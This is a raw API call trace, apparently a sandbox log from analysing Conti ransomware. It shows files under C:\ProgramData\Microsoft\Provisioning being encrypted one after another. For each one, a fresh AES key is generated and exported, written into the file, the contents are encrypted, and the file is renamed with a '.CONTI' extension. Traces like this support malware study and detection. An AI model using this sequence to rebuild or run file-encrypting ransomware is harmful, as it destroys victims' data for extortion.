	[0111.585] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml"
	[0111.585] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.585] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\408__connections_cellular_vodafone es (spain)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.586] GetProcessHeap () returned 0x1720000
	[0111.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.586] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.586] GetProcessHeap () returned 0x1720000
	[0111.586] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572c20 | out: hHeap=0x1720000) returned 1
	[0111.586] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0111.586] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17f6ff0 | out: phKey=0x17f6ff0*=0x17c8570) returned 1
	[0111.586] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f6ff4, pdwDataLen=0x497fc1c | out: pbData=0x17f6ff4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0111.587] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.587] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.587] GetLastError () returned 0x0
	[0111.587] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=850) returned 1
	[0111.587] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x352
	[0111.588] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.588] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.588] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.588] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.588] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f6ff4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17f6ff4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.688] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.688] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x352, lpOverlapped=0x0) returned 1
	[0112.688] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x352, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x360) returned 1
	[0112.688] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.688] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x360, lpOverlapped=0x0) returned 1
	[0112.688] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.688] WriteFile (in: hFile=0x3a8, lpBuffer=0x17f6fe8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17f6fe8*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0112.688] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.688] CloseHandle (hObject=0x3a8) returned 1
	[0112.821] GetProcessHeap () returned 0x1720000
	[0112.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.141] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml"
	[0114.141] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.141] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\409__Connections_Cellular_vodafone ES (Spain)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\409__connections_cellular_vodafone es (spain)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.142] GetProcessHeap () returned 0x1720000
	[0114.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.142] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0114.142] GetProcessHeap () returned 0x1720000
	[0114.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573e10 | out: hHeap=0x1720000) returned 1
	[0114.142] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0114.142] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b48e38 | out: phKey=0x6b48e38*=0x17c8570) returned 1
	[0114.142] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48e3c, pdwDataLen=0x497fc1c | out: pbData=0x6b48e3c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0114.143] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.143] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0114.143] GetLastError () returned 0x0
	[0114.143] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=714) returned 1
	[0114.143] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0114.143] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.143] SetEndOfFile (hFile=0x3a8) returned 1
	[0114.144] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.144] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.144] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b48e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b48e3c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0114.150] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.150] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2ca, lpOverlapped=0x0) returned 1
	[0114.150] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2ca, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d0) returned 1
	[0114.150] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.150] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.151] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.151] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b48e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b48e30*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0114.151] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.151] CloseHandle (hObject=0x3a8) returned 1
	[0114.151] GetProcessHeap () returned 0x1720000
	[0114.151] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.151] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml"
	[0114.151] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.151] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.152] GetProcessHeap () returned 0x1720000
	[0114.152] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.152] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0114.152] GetProcessHeap () returned 0x1720000
	[0114.152] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54c10 | out: hHeap=0x1720000) returned 1
	[0114.152] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0114.152] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a508 | out: phKey=0x6b4a508*=0x17c8570) returned 1
	[0114.152] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a50c, pdwDataLen=0x497fc1c | out: pbData=0x6b4a50c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0114.153] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 0x20
	[0114.153] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0114.153] GetLastError () returned 0x0
	[0114.153] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=456) returned 1
	[0114.154] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c8
	[0114.154] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.154] SetEndOfFile (hFile=0x3a8) returned 1
	[0114.154] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.154] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.154] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b4a50c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x6b4a50c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0114.159] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.159] ReadFile (in: hFile=0x3a8, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1c8, lpOverlapped=0x0) returned 1
	[0114.160] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1c8, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1d0) returned 1
	[0114.160] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.160] WriteFile (in: hFile=0x3a8, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.160] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.160] WriteFile (in: hFile=0x3a8, lpBuffer=0x6b4a500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x6b4a500*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0114.160] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.160] CloseHandle (hObject=0x3a8) returned 1
	[0114.160] GetProcessHeap () returned 0x1720000
	[0114.160] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.160] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml"
	[0114.160] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.CONTI"
	[0114.160] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml.conti")) returned 1
	[0114.161] GetProcessHeap () returned 0x1720000
	[0114.161] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.161] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0114.161] GetProcessHeap () returned 0x1720000
	[0114.161] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1816750 | out: hHeap=0x1720000) returned 1
	[0114.161] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0114.161] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d060 | out: phKey=0x6b4d060*=0x17c8570) returned 1
	[0114.161] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d064, pdwDataLen=0x497fc1c | out: pbData=0x6b4d064*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0114.162] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.164] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0114.164] GetLastError () returned 0x0
	[0114.164] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=701) returned 1
